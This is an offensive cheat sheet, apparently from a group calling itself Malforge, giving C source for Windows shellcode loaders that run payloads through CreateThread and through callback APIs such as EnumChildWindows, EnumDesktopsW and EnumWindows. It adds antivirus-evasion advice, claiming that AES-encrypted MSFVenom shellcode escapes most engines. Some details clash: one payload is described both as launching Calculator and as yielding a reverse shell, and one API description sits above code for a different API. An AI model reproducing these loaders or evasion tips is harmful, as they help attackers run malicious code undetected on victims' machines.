This cheat sheet outlines various techniques to execute shellcode on a Windows machine using callback-based methods. It also highlights which techniques are submitted to VirusTotal.
Although not based on callbacks, this is the most straightforward method to execute shellcode.
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// Payload to launch calc.exe
unsigned char my_payload[] = {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
// truncated for brevity...
};
unsigned int my_payload_len = sizeof(my_payload);
int main(void) {
void *my_payload_mem;
BOOL rv;
HANDLE th;
DWORD oldprotect = 0;
my_payload_mem = VirtualAlloc(0, my_payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
RtlMoveMemory(my_payload_mem, my_payload, my_payload_len);
rv = VirtualProtect(my_payload_mem, my_payload_len, PAGE_EXECUTE_READ, &oldprotect);
if (rv != 0) {
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) my_payload_mem, 0, 0, 0);
WaitForSingleObject(th, -1);
}
return 0;
}
Executing this EXE yields a reverse shell.
This approach is easily flagged by AV engines.
The EnumChildWindows
API is typically used to list child windows of a given parent window. Malware can abuse this to enumerate open applications or inject shellcode.
#include <windows.h>
#include <stdio.h>
int main() {
char shellcode[] = "..."; // calc.exe shellcode
HANDLE hAlloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(hAlloc, shellcode, sizeof(shellcode));
EnumChildWindows((HWND) NULL, (WNDENUMPROC) hAlloc, NULL);
}
Executing the binary successfully launches the Calculator.
Using AES-encrypted shellcode dramatically lowers AV detection rates.
The EnumDesktopsW
API enumerates all desktops in the current window station and is sometimes used by attackers to execute shellcode.
#include <windows.h>
#include <stdio.h>
#include "wingdi.h"
int main() {
char shellcode[] = "..."; // calc.exe shellcode
HANDLE hAlloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(hAlloc, shellcode, sizeof(shellcode));
EnumDesktopsW(GetProcessWindowStation(), (DESKTOPENUMPROCW) hAlloc, NULL);
printf("%d", GetLastError());
VirtualFree(hAlloc, 0, MEM_RELEASE);
}
The code successfully spawns Calculator.
Plain MSFVenom shellcode is flagged by 12 AVs;
AES-encrypted versions often evade detection.
EnumChildWindows is a Windows API function that is used to enumerate all child windows of a specified parent window. In malware, it can be used to gather information about the environment in which it is running. For example, malware might use EnumChildWindows to enumerate all open windows and their associated process IDs to identify the applications that are running and to detect any security-related applications, such as antivirus software. Additionally, the malware may use the information gathered through EnumChildWindows to carry out malicious actions, such as injecting code into other processes, stealing data, or modifying system settings.
#include <windows.h>
#include <stdio.h>
int main() {
char shellcode[] = "..."; // calc.exe shellcode
HANDLE hAlloc = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(hAlloc, shellcode, sizeof(shellcode));
EnumWindows((WNDENUMPROC) hAlloc, NULL);
}
This method also successfully launches Calculator.
Standard shellcode triggers alerts from 15 AVs.
AES encryption reduces this to detection by just two engines
I hope you found this article useful — stay tuned for more content!
— Malforge Group